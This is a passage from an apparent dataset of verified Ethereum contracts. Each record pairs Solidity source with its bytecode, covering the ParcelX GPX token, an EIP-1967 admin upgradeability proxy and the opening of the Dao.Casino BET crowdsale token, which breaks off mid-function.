event Converted(address indexed who, string destinationAccount, uint256 amount, string extra);
}
// File: contracts\ParcelXGPX.sol
/**
* The main body of final smart contract
*/
contract ParcelXGPX is ERC20, MultiOwnable, Pausable, Convertible {
using SafeMath for uint256;
string public constant name = "ParcelX";
string public constant symbol = "GPX";
uint8 public constant decimals = 18;
// Great China - 25000 ETH * int(1 / 0.000268) = 93275000
uint256 public constant TOTAL_SUPPLY = uint256(93275000) * (uint256(10) ** decimals);
address internal tokenPool = address(0); // Use a token pool holding all GPX. Avoid using sender address.
mapping(address => uint256) internal balances;
mapping (address => mapping (address => uint256)) internal allowed;
function ParcelXGPX(address[] _multiOwners, uint _multiRequires)
MultiOwnable(_multiOwners, _multiRequires) public {
require(tokenPool == address(0));
tokenPool = this;
require(tokenPool != address(0));
balances[tokenPool] = TOTAL_SUPPLY;
}
/**
* FEATURE 1): ERC20 implementation
*/
function totalSupply() public view returns (uint256) {
return TOTAL_SUPPLY;
}
function transfer(address _to, uint256 _value) onlyPayloadSize(2 * 32) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
// SafeMath.sub will throw if there is not enough balance.
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
function transferFrom(address _from, address _to, uint256 _value) onlyPayloadSize(3 * 32) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) onlyPayloadSize(2 * 32) public returns (bool) {
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
/**
* FEATURE 4): Buyable implements
* 0.000268 eth per GPX, so the rate is 1.0 / 0.000268 = 3731.3432835820895
*/
uint256 internal buyRate = uint256(3731);
event Deposit(address indexed who, uint256 value);
event Withdraw(address indexed who, uint256 value, address indexed lastApprover, string extra);
function getBuyRate() external view returns (uint256) {
return buyRate;
}
function setBuyRate(uint256 newBuyRate) mostOwner(keccak256(msg.data)) external {
buyRate = newBuyRate;
}
/**
* FEATURE 4): Buyable
* minimum of 0.001 ether for purchase in the public, pre-ico, and private sale
*/
function buy() payable whenNotPaused public returns (uint256) {
Deposit(msg.sender, msg.value);
require(msg.value >= 0.001 ether);
// Token compute & transfer
uint256 tokens = msg.value.mul(buyRate);
require(balances[tokenPool] >= tokens);
balances[tokenPool] = balances[tokenPool].sub(tokens);
balances[msg.sender] = balances[msg.sender].add(tokens);
Transfer(tokenPool, msg.sender, tokens);
return tokens;
}
// gets called when no other function matches
function () payable public {
if (msg.value > 0) {
buy();
}
}
/**
* FEATURE 6): Budget control
* Malloc GPX for airdrops, marketing-events, bonus, etc
*/
function mallocBudget(address _admin, uint256 _value) mostOwner(keccak256(msg.data)) external returns (bool) {
require(_admin != address(0));
require(_value <= balances[tokenPool]);
balances[tokenPool] = balances[tokenPool].sub(_value);
balances[_admin] = balances[_admin].add(_value);
Transfer(tokenPool, _admin, _value);
return true;
}
function execute(address _to, uint256 _value, string _extra) mostOwner(keccak256(msg.data)) external returns (bool){
require(_to != address(0));
_to.transfer(_value); // Prevent using call() or send()
Withdraw(_to, _value, msg.sender, _extra);
return true;
}
/**
* FEATURE 5): 'Convertible' implements
* Below actions would be performed after token being converted into mainchain:
* - KYC / AML
* - Unsold tokens are discarded.
* - Tokens sold with bonus will be locked for a period (see Whitepaper).
* - Token distribution for team will be locked for a period (see Whitepaper).
*/
function convertMainchainGPX(string destinationAccount, string extra) external returns (bool) {
require(bytes(destinationAccount).length > 10 && bytes(destinationAccount).length < 1024);
require(balances[msg.sender] > 0);
uint256 amount = balances[msg.sender];
balances[msg.sender] = 0;
balances[tokenPool] = balances[tokenPool].add(amount); // return GPX to tokenPool - the init account
Converted(msg.sender, destinationAccount, amount, extra);
return true;
}
}
|
0x6060604052600436106101325763ffffffff7c010000000000000000000000000000000000000000000000000000000060003504166306fdde038114610147578063095ea7b3146101d157806318160ddd1461020757806323b872dd1461022c5780632f54bf6e14610254578063313ce567146102735780633d35d7ba1461029c5780633f4ba83a146102af578063410e8340146102c2578063450eefae146102e4578063661884631461031357806370a082311461033557806378683654146103545780638456cb591461037e57806385e436bf14610391578063902d55a5146103a757806395d89b41146103ba578063a6f2ae3a146103cd578063a9059cbb146103d5578063bacd2a90146103f7578063d73dd62314610419578063dd62ed3e1461043b578063ff0938a714610460575b600034111561014557610143610473565b505b005b341561015257600080fd5b61015a6105d9565b60405160208082528190810183818151815260200191508051906020019080838360005b8381101561019657808201518382015260200161017e565b50505050905090810190601f1680156101c35780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34156101dc57600080fd5b6101f3600160a060020a0360043516602435610610565b604051901515815260200160405180910390f35b341561021257600080fd5b61021a61068e565b60405190815260200160405180910390f35b341561023757600080fd5b6101f3600160a060020a036004358116906024351660443561069d565b341561025f57600080fd5b6101f3600160a060020a036004351661081e565b341561027e57600080fd5b610286610870565b60405160ff909116815260200160405180910390f35b34156102a757600080fd5b61021a610875565b34156102ba57600080fd5b61014561087b565b34156102cd57600080fd5b6101f3600160a060020a03600435166024356108f3565b34156102ef57600080fd5b6101f360048035600160a060020a0316906024803591604435918201910135610a15565b341561031e57600080fd5b6101f3600160a060020a0360043516602435610b01565b341561034057600080fd5b61021a600160a060020a0360043516610bfb565b341561035f57600080fd5b6101f36024600480358281019290820135918135918201910135610c16565b341561038957600080fd5b610145610d48565b341561039c57600080fd5b610145600435610dc1565b34156103b257600080fd5b61021a610df8565b34156103c557600080fd5b61015a610e07565b61021a610473565b34156103e057600080fd5b6101f3600160a060020a0360043516602435610e3e565b341561040257600080fd5b6101f3600160a060020a0360043516602435610f38565b341561042457600080fd5b6101f3600160a060020a0360043516602435611067565b341561044657600080fd5b61021a600160a060020a036004358116906024351661110b565b341561046b57600080fd5b6101f3611136565b600b54600090819060ff161561048857600080fd5b33600160a060020a03167fe1fffcc4923d04b559f4d29a8bfc6cda04eb5b0d3c460751c2402c5c5cc9109c3460405190815260200160405180910390a266038d7ea4c680003410156104d957600080fd5b600e546104ed90349063ffffffff61113f16565b600b546101009004600160a060020a03166000908152600c60205260409020549091508190101561051d57600080fd5b600b546101009004600160a060020a03166000908152600c60205260409020546105479082611171565b600b54600160a060020a0361010090910481166000908152600c6020526040808220939093553390911681522054610585908263ffffffff61118316565b600160a060020a033381166000818152600c60205260409081902093909355600b549092610100909104909116906000805160206111938339815191529084905190815260200160405180910390a3919050565b60408051908101604052600781527f50617263656c5800000000000000000000000000000000000000000000000000602082015281565b60006040604436101561062257600080fd5b600160a060020a033381166000818152600d6020908152604080832094891680845294909152908190208690557f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9259086905190815260200160405180910390a3600191505b5092915050565b6a4d27bfe1c61de1a2e0000090565b6000606060643610156106af57600080fd5b600160a060020a03841615156106c457600080fd5b600160a060020a0385166000908152600c60205260409020548311156106e957600080fd5b600160a060020a038086166000908152600d60209081526040808320339094168352929052205483111561071c57600080fd5b600160a060020a0385166000908152600c6020526040902054610745908463ffffffff61117116565b600160a060020a038087166000908152600c6020526040808220939093559086168152205461077a908463ffffffff61118316565b600160a060020a038086166000908152600c60209081526040808320949094558883168252600d81528382203390931682529190915220546107c2908463ffffffff61117116565b600160a060020a038087166000818152600d6020908152604080832033861684529091529081902093909355908616916000805160206111938339815191529086905190815260200160405180910390a3506001949350505050565b6000805b60085481101561086557600160a060020a0383166000826008811061084357fe5b0154600160a060020a0316141561085d576001915061086a565b600101610822565b600091505b50919050565b601281565b600e5490565b6000366040518083838082843782019150509250505060405180910390206108a333826108f3565b156108f057600b5460ff1615156108b957600080fd5b600b805460ff191690557f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a15b50565b6008546000908180805b60085483101561093e57600160a060020a0387166000846008811061091e57fe5b0154600160a060020a03161415610933578293505b8260010192506108fd565b6008548414156109515760009450610a0b565b5050506000838152600a6020526040812054600283900a17815b6008548310156109925760008360020a83161115610987576001015b82600101925061096b565b86600160a060020a03167fa54a545886046ba15ce2ead45862f16963c545622fb354dc4336aca97c7cf724878360405191825260208201526040908101905180910390a260095481106109f7576000868152600a602052604081205560019450610a0b565b6000868152600a6020526040812083905594505b5050505092915050565b60008036604051808383808284378201915050925050506040518091039020610a3e33826108f3565b15610af857600160a060020a0386161515610a5857600080fd5b600160a060020a03861685156108fc0286604051600060405180830381858888f193505050501515610a8957600080fd5b33600160a060020a031686600160a060020a03167fa4c6cd4bfefcc09490a00cf1f79a859de6f34c1da3186bb65d5102b1b844554787878760405183815260406020820181815290820183905260608201848480828437820191505094505050505060405180910390a3600191505b50949350505050565b600160a060020a033381166000908152600d6020908152604080832093861683529290529081205480831115610b5e57600160a060020a033381166000908152600d60209081526040808320938816835292905290812055610b95565b610b6e818463ffffffff61117116565b600160a060020a033381166000908152600d60209081526040808320938916835292905220555b600160a060020a033381166000818152600d602090815260408083209489168084529490915290819020547f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925915190815260200160405180910390a35060019392505050565b600160a060020a03166000908152600c602052604090205490565b600080600a85118015610c2a575061040085105b1515610c3557600080fd5b600160a060020a0333166000908152600c602052604081205411610c5857600080fd5b50600160a060020a033381166000908152600c6020526040808220805490839055600b5461010090049093168252902054610c99908263ffffffff61118316565b600b54600160a060020a0361010090910481166000908152600c602052604090819020929092553316907f2c79d896014929b6fdc4d4d626c197b11b8778193b21304728eac43e8a7531b7908890889085908990899051602081018490526060808252810185905280604081016080820188888082843790910184810383528581526020019050858580828437820191505097505050505050505060405180910390a250600195945050505050565b600036604051808383808284378201915050925050506040518091039020610d7033826108f3565b156108f057600b5460ff1615610d8557600080fd5b600b805460ff191660011790557f6985a02210a168e66602d3235cb6db0e70f92b3ba4d376a33c0f3d9434bff62560405160405180910390a150565b600036604051808383808284378201915050925050506040518091039020610de933826108f3565b15610df457600e8290555b5050565b6a4d27bfe1c61de1a2e0000081565b60408051908101604052600381527f4750580000000000000000000000000000000000000000000000000000000000602082015281565b600060406044361015610e5057600080fd5b600160a060020a0384161515610e6557600080fd5b600160a060020a0333166000908152600c6020526040902054831115610e8a57600080fd5b600160a060020a0333166000908152600c6020526040902054610eb3908463ffffffff61117116565b600160a060020a033381166000908152600c60205260408082209390935590861681522054610ee8908463ffffffff61118316565b600160a060020a038086166000818152600c602052604090819020939093559133909116906000805160206111938339815191529086905190815260200160405180910390a35060019392505050565b60008036604051808383808284378201915050925050506040518091039020610f6133826108f3565b1561068757600160a060020a0384161515610f7b57600080fd5b600b546101009004600160a060020a03166000908152600c6020526040902054831115610fa757600080fd5b600b546101009004600160a060020a03166000908152600c6020526040902054610fd19084611171565b600b54600160a060020a0361010090910481166000908152600c6020526040808220939093559086168152205461100e908463ffffffff61118316565b600160a060020a038086166000818152600c60205260409081902093909355600b549092610100909104909116906000805160206111938339815191529086905190815260200160405180910390a35060019392505050565b600160a060020a033381166000908152600d6020908152604080832093861683529290529081205461109f908363ffffffff61118316565b600160a060020a033381166000818152600d602090815260408083209489168084529490915290819020849055919290917f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92591905190815260200160405180910390a350600192915050565b600160a060020a039182166000908152600d6020908152604080832093909416825291909152205490565b600b5460ff1690565b6000808315156111525760009150610687565b5082820282848281151561116257fe5b041461116a57fe5b9392505050565b60008282111561117d57fe5b50900390565b60008282018381101561116a57fe00ddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a72305820a7549b8dcbefbc0e5bd4a851bc7de82464bd233b1ffb4db7812bdabd574ba5a30029
|
{"success": true, "error": null, "results": {}}
| 8,687 |
0x9cfa24da7d7213461544ec53bba748eb0fa76b38
|
/**
*Submitted for verification at arbiscan.io on 2021-09-03
*/
/**
*Submitted for verification at Etherscan.io on 2020-10-09
*/
// SPDX-License-Identifier: MIT
pragma solidity ^0.6.2;
/**
* @dev Collection of functions related to the address type
*/
library Address {
/**
* @dev Returns true if `account` is a contract.
*
* [IMPORTANT]
* ====
* It is unsafe to assume that an address for which this function returns
* false is an externally-owned account (EOA) and not a contract.
*
* Among others, `isContract` will return false for the following
* types of addresses:
*
* - an externally-owned account
* - a contract in construction
* - an address where a contract will be created
* - an address where a contract lived, but was destroyed
* ====
*/
function isContract(address account) internal view returns (bool) {
// This method relies on extcodesize, which returns 0 for contracts in
// construction, since the code is only stored at the end of the
// constructor execution.
uint256 size;
// solhint-disable-next-line no-inline-assembly
assembly { size := extcodesize(account) }
return size > 0;
}
}
/**
* @title Proxy
* @dev Implements delegation of calls to other contracts, with proper
* forwarding of return values and bubbling of failures.
* It defines a fallback function that delegates all calls to the address
* returned by the abstract _implementation() internal function.
*/
abstract contract Proxy {
/**
* @dev Fallback function.
* Implemented entirely in `_fallback`.
*/
fallback () payable external {
_fallback();
}
/**
* @dev Receive function.
* Implemented entirely in `_fallback`.
*/
receive () payable external {
_fallback();
}
/**
* @return The Address of the implementation.
*/
function _implementation() internal virtual view returns (address);
/**
* @dev Delegates execution to an implementation contract.
* This is a low level function that doesn't return to its internal call site.
* It will return to the external caller whatever the implementation returns.
* @param implementation Address to delegate.
*/
function _delegate(address implementation) internal {
assembly {
// Copy msg.data. We take full control of memory in this inline assembly
// block because it will not return to Solidity code. We overwrite the
// Solidity scratch pad at memory position 0.
calldatacopy(0, 0, calldatasize())
// Call the implementation.
// out and outsize are 0 because we don't know the size yet.
let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
// Copy the returned data.
returndatacopy(0, 0, returndatasize())
switch result
// delegatecall returns 0 on error.
case 0 { revert(0, returndatasize()) }
default { return(0, returndatasize()) }
}
}
/**
* @dev Function that is run as the first thing in the fallback function.
* Can be redefined in derived contracts to add functionality.
* Redefinitions must call super._willFallback().
*/
function _willFallback() internal virtual {
}
/**
* @dev fallback implementation.
* Extracted to enable manual triggering.
*/
function _fallback() internal {
_willFallback();
_delegate(_implementation());
}
}
/**
* @title UpgradeabilityProxy
* @dev This contract implements a proxy that allows to change the
* implementation address to which it will delegate.
* Such a change is called an implementation upgrade.
*/
contract UpgradeabilityProxy is Proxy {
/**
* @dev Contract constructor.
* @param _logic Address of the initial implementation.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
constructor(address _logic, bytes memory _data) public payable {
assert(IMPLEMENTATION_SLOT == bytes32(uint256(keccak256('eip1967.proxy.implementation')) - 1));
_setImplementation(_logic);
if(_data.length > 0) {
(bool success,) = _logic.delegatecall(_data);
require(success);
}
}
/**
* @dev Emitted when the implementation is upgraded.
* @param implementation Address of the new implementation.
*/
event Upgraded(address indexed implementation);
/**
* @dev Storage slot with the address of the current implementation.
* This is the keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;
/**
* @dev Returns the current implementation.
* @return impl Address of the current implementation
*/
function _implementation() internal override view returns (address impl) {
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
impl := sload(slot)
}
}
/**
* @dev Upgrades the proxy to a new implementation.
* @param newImplementation Address of the new implementation.
*/
function _upgradeTo(address newImplementation) internal {
_setImplementation(newImplementation);
emit Upgraded(newImplementation);
}
/**
* @dev Sets the implementation address of the proxy.
* @param newImplementation Address of the new implementation.
*/
function _setImplementation(address newImplementation) internal {
require(Address.isContract(newImplementation), "Cannot set a proxy implementation to a non-contract address");
bytes32 slot = IMPLEMENTATION_SLOT;
assembly {
sstore(slot, newImplementation)
}
}
}
/**
* @title AdminUpgradeabilityProxy
* @dev This contract combines an upgradeability proxy with an authorization
* mechanism for administrative tasks.
* All external functions in this contract must be guarded by the
* `ifAdmin` modifier. See ethereum/solidity#3864 for a Solidity
* feature proposal that would enable this to be done automatically.
*/
contract AdminUpgradeabilityProxy is UpgradeabilityProxy {
/**
* Contract constructor.
* @param _logic address of the initial implementation.
* @param _admin Address of the proxy administrator.
* @param _data Data to send as msg.data to the implementation to initialize the proxied contract.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
* This parameter is optional, if no data is given the initialization call to proxied contract will be skipped.
*/
constructor(address _logic, address _admin, bytes memory _data) UpgradeabilityProxy(_logic, _data) public payable {
assert(ADMIN_SLOT == bytes32(uint256(keccak256('eip1967.proxy.admin')) - 1));
_setAdmin(_admin);
}
/**
* @dev Emitted when the administration has been transferred.
* @param previousAdmin Address of the previous admin.
* @param newAdmin Address of the new admin.
*/
event AdminChanged(address previousAdmin, address newAdmin);
/**
* @dev Storage slot with the admin of the contract.
* This is the keccak-256 hash of "eip1967.proxy.admin" subtracted by 1, and is
* validated in the constructor.
*/
bytes32 internal constant ADMIN_SLOT = 0xb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d6103;
/**
* @dev Modifier to check whether the `msg.sender` is the admin.
* If it is, it will run the function. Otherwise, it will delegate the call
* to the implementation.
*/
modifier ifAdmin() {
if (msg.sender == _admin()) {
_;
} else {
_fallback();
}
}
/**
* @return The address of the proxy admin.
*/
function admin() external ifAdmin returns (address) {
return _admin();
}
/**
* @return The address of the implementation.
*/
function implementation() external ifAdmin returns (address) {
return _implementation();
}
/**
* @dev Changes the admin of the proxy.
* Only the current admin can call this function.
* @param newAdmin Address to transfer proxy administration to.
*/
function changeAdmin(address newAdmin) external ifAdmin {
require(newAdmin != address(0), "Cannot change the admin of a proxy to the zero address");
emit AdminChanged(_admin(), newAdmin);
_setAdmin(newAdmin);
}
/**
* @dev Upgrade the backing implementation of the proxy.
* Only the admin can call this function.
* @param newImplementation Address of the new implementation.
*/
function upgradeTo(address newImplementation) external ifAdmin {
_upgradeTo(newImplementation);
}
/**
* @dev Upgrade the backing implementation of the proxy and call a function
* on the new implementation.
* This is useful to initialize the proxied contract.
* @param newImplementation Address of the new implementation.
* @param data Data to send as msg.data in the low level call.
* It should include the signature and the parameters of the function to be called, as described in
* https://solidity.readthedocs.io/en/v0.4.24/abi-spec.html#function-selector-and-argument-encoding.
*/
function upgradeToAndCall(address newImplementation, bytes calldata data) payable external ifAdmin {
_upgradeTo(newImplementation);
(bool success,) = newImplementation.delegatecall(data);
require(success);
}
/**
* @return adm The admin slot.
*/
function _admin() internal view returns (address adm) {
bytes32 slot = ADMIN_SLOT;
assembly {
adm := sload(slot)
}
}
/**
* @dev Sets the address of the proxy admin.
* @param newAdmin Address of the new proxy admin.
*/
function _setAdmin(address newAdmin) internal {
bytes32 slot = ADMIN_SLOT;
assembly {
sstore(slot, newAdmin)
}
}
/**
* @dev Only fall back when the sender is not the admin.
*/
function _willFallback() internal override virtual {
require(msg.sender != _admin(), "Cannot call fallback function from the proxy admin");
super._willFallback();
}
}
|
0x60806040526004361061004e5760003560e01c80633659cfe6146100675780634f1ef286146100b85780635c60da1b146101515780638f28397014610192578063f851a440146101e35761005d565b3661005d5761005b610224565b005b610065610224565b005b34801561007357600080fd5b506100b66004803603602081101561008a57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061023e565b005b61014f600480360360408110156100ce57600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019064010000000081111561010b57600080fd5b82018360208201111561011d57600080fd5b8035906020019184600183028401116401000000008311171561013f57600080fd5b9091929391929390505050610293565b005b34801561015d57600080fd5b50610166610369565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561019e57600080fd5b506101e1600480360360208110156101b557600080fd5b81019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291905050506103c1565b005b3480156101ef57600080fd5b506101f861050e565b604051808273ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b61022c610579565b61023c61023761060f565b610640565b565b610246610666565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614156102875761028281610697565b610290565b61028f610224565b5b50565b61029b610666565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141561035b576102d783610697565b60008373ffffffffffffffffffffffffffffffffffffffff168383604051808383808284378083019250505092505050600060405180830381855af49150503d8060008114610342576040519150601f19603f3d011682016040523d82523d6000602084013e610347565b606091505b505090508061035557600080fd5b50610364565b610363610224565b5b505050565b6000610373610666565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff1614156103b5576103ae61060f565b90506103be565b6103bd610224565b5b90565b6103c9610666565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141561050257600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff161415610482576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260368152602001806107d76036913960400191505060405180910390fd5b7f7e644d79422f17c01e4894b5f4f588d331ebfa28653d42ae832dc59e38c9798f6104ab610666565b82604051808373ffffffffffffffffffffffffffffffffffffffff1681526020018273ffffffffffffffffffffffffffffffffffffffff1681526020019250505060405180910390a16104fd816106e6565b61050b565b61050a610224565b5b50565b6000610518610666565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141561055a57610553610666565b9050610563565b610562610224565b5b90565b600080823b905060008111915050919050565b610581610666565b73ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff161415610605576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260328152602001806107a56032913960400191505060405180910390fd5b61060d610715565b565b6000807f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc60001b9050805491505090565b3660008037600080366000845af43d6000803e8060008114610661573d6000f35b3d6000fd5b6000807fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d610360001b9050805491505090565b6106a081610717565b8073ffffffffffffffffffffffffffffffffffffffff167fbc7cd75a20ee27fd9adebab32041f755214dbc6bffa90cc0225b39da2e5c2d3b60405160405180910390a250565b60007fb53127684a568b3173ae13b9f8a6016e243e63b6e8ee1178d6a717850b5d610360001b90508181555050565b565b61072081610566565b610775576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252603b81526020018061080d603b913960400191505060405180910390fd5b60007f360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc60001b9050818155505056fe43616e6e6f742063616c6c2066616c6c6261636b2066756e6374696f6e2066726f6d207468652070726f78792061646d696e43616e6e6f74206368616e6765207468652061646d696e206f6620612070726f787920746f20746865207a65726f206164647265737343616e6e6f742073657420612070726f787920696d706c656d656e746174696f6e20746f2061206e6f6e2d636f6e74726163742061646472657373a2646970667358221220db1174c789c95d04fc3a45ab9bda70cb4e7db1a979141ac33013befde31db67c64736f6c634300060c0033
|
{"success": true, "error": null, "results": {}}
| 8,688 |
0x7ca2fbb495052a305810563d9722324c75568662
|
pragma solidity ^0.4.11;
// ----------------------------------------------------------------------------
// Safe maths, borrowed from OpenZeppelin
// ----------------------------------------------------------------------------
library SafeMath {
// ------------------------------------------------------------------------
// Add a number to another number, checking for overflows
// ------------------------------------------------------------------------
function add(uint a, uint b) internal returns (uint) {
uint c = a + b;
assert(c >= a && c >= b);
return c;
}
// ------------------------------------------------------------------------
// Subtract a number from another number, checking for underflows
// ------------------------------------------------------------------------
function sub(uint a, uint b) internal returns (uint) {
assert(b <= a);
return a - b;
}
}
// ----------------------------------------------------------------------------
// Owned contract
// ----------------------------------------------------------------------------
contract Owned {
address public owner;
address public newOwner;
event OwnershipTransferred(address indexed _from, address indexed _to);
function Owned() {
owner = msg.sender;
}
modifier onlyOwner {
if (msg.sender != owner) throw;
_;
}
function transferOwnership(address _newOwner) onlyOwner {
newOwner = _newOwner;
}
function acceptOwnership() {
if (msg.sender == newOwner) {
OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
}
// ----------------------------------------------------------------------------
// ERC20 Token, with the addition of symbol, name and decimals
// https://github.com/ethereum/EIPs/issues/20
// ----------------------------------------------------------------------------
contract ERC20Token is Owned {
using SafeMath for uint;
// ------------------------------------------------------------------------
// Total Supply
// ------------------------------------------------------------------------
uint256 _totalSupply = 0;
// ------------------------------------------------------------------------
// Balances for each account
// ------------------------------------------------------------------------
mapping(address => uint256) balances;
// ------------------------------------------------------------------------
// Owner of account approves the transfer of an amount to another account
// ------------------------------------------------------------------------
mapping(address => mapping (address => uint256)) allowed;
// ------------------------------------------------------------------------
// Get the total token supply
// ------------------------------------------------------------------------
function totalSupply() constant returns (uint256 totalSupply) {
totalSupply = _totalSupply;
}
// ------------------------------------------------------------------------
// Get the account balance of another account with address _owner
// ------------------------------------------------------------------------
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
// ------------------------------------------------------------------------
// Transfer the balance from owner's account to another account
// ------------------------------------------------------------------------
function transfer(address _to, uint256 _amount) returns (bool success) {
if (balances[msg.sender] >= _amount // User has balance
&& _amount > 0 // Non-zero transfer
&& balances[_to] + _amount > balances[_to] // Overflow check
) {
balances[msg.sender] = balances[msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
Transfer(msg.sender, _to, _amount);
return true;
} else {
return false;
}
}
// ------------------------------------------------------------------------
// Allow _spender to withdraw from your account, multiple times, up to the
// _value amount. If this function is called again it overwrites the
// current allowance with _value.
// ------------------------------------------------------------------------
function approve(
address _spender,
uint256 _amount
) returns (bool success) {
allowed[msg.sender][_spender] = _amount;
Approval(msg.sender, _spender, _amount);
return true;
}
// ------------------------------------------------------------------------
// Spender of tokens transfer an amount of tokens from the token owner's
// balance to the spender's account. The owner of the tokens must already
// have approve(...)-d this transfer
// ------------------------------------------------------------------------
function transferFrom(
address _from,
address _to,
uint256 _amount
) returns (bool success) {
if (balances[_from] >= _amount // From a/c has balance
&& allowed[_from][msg.sender] >= _amount // Transfer approved
&& _amount > 0 // Non-zero transfer
&& balances[_to] + _amount > balances[_to] // Overflow check
) {
balances[_from] = balances[_from].sub(_amount);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_amount);
balances[_to] = balances[_to].add(_amount);
Transfer(_from, _to, _amount);
return true;
} else {
return false;
}
}
// ------------------------------------------------------------------------
// Returns the amount of tokens approved by the owner that can be
// transferred to the spender's account
// ------------------------------------------------------------------------
function allowance(
address _owner,
address _spender
) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
event Transfer(address indexed _from, address indexed _to, uint256 _value);
event Approval(address indexed _owner, address indexed _spender,
uint256 _value);
}
contract DaoCasinoToken is ERC20Token {
// ------------------------------------------------------------------------
// Token information
// ------------------------------------------------------------------------
string public constant symbol = "BET";
string public constant name = "Dao.Casino";
uint8 public constant decimals = 18;
// Do not use `now` here
uint256 public STARTDATE;
uint256 public ENDDATE;
// Cap USD 25mil @ 296.1470 ETH/USD
uint256 public CAP;
// Cannot have a constant address here - Solidity bug
// https://github.com/ethereum/solidity/issues/2441
address public multisig;
function DaoCasinoToken(uint256 _start, uint256 _end, uint256 _cap, address _multisig) {
STARTDATE = _start;
ENDDATE = _end;
CAP = _cap;
multisig = _multisig;
}
// > new Date("2017-06-29T13:00:00").getTime()/1000
// 1498741200
uint256 public totalEthers;
// ------------------------------------------------------------------------
// Tokens per ETH
// Day 1 : 2,000 BET = 1 Ether
// Days 2–14 : 1,800 BET = 1 Ether
// Days 15–17: 1,700 BET = 1 Ether
// Days 18–20: 1,600 BET = 1 Ether
// Days 21–23: 1,500 BET = 1 Ether
// Days 24–26: 1,400 BET = 1 Ether
// Days 27–28: 1,300 BET = 1 Ether
// ------------------------------------------------------------------------
function buyPrice() constant returns (uint256) {
return buyPriceAt(now);
}
function buyPriceAt(uint256 at) constant returns (uint256) {
if (at < STARTDATE) {
return 0;
} else if (at < (STARTDATE + 1 days)) {
return 2000;
} else if (at < (STARTDATE + 15 days)) {
return 1800;
} else if (at < (STARTDATE + 18 days)) {
return 1700;
} else if (at < (STARTDATE + 21 days)) {
return 1600;
} else if (at < (STARTDATE + 24 days)) {
return 1500;
} else if (at < (STARTDATE + 27 days)) {
return 1400;
} else if (at <= ENDDATE) {
return 1300;
} else {
return 0;
}
}
// ------------------------------------------------------------------------
// Buy tokens from the contract
// ------------------------------------------------------------------------
function () payable {
proxyPayment(msg.sender);
}
// ------------------------------------------------------------------------
// Exchanges can buy on behalf of participant
// ------------------------------------------------------------------------
function proxyPayment(address participant) payable {
// No contributions before the start of the crowdsale
require(now >= STARTDATE);
// No contributions after the end of the crowdsale
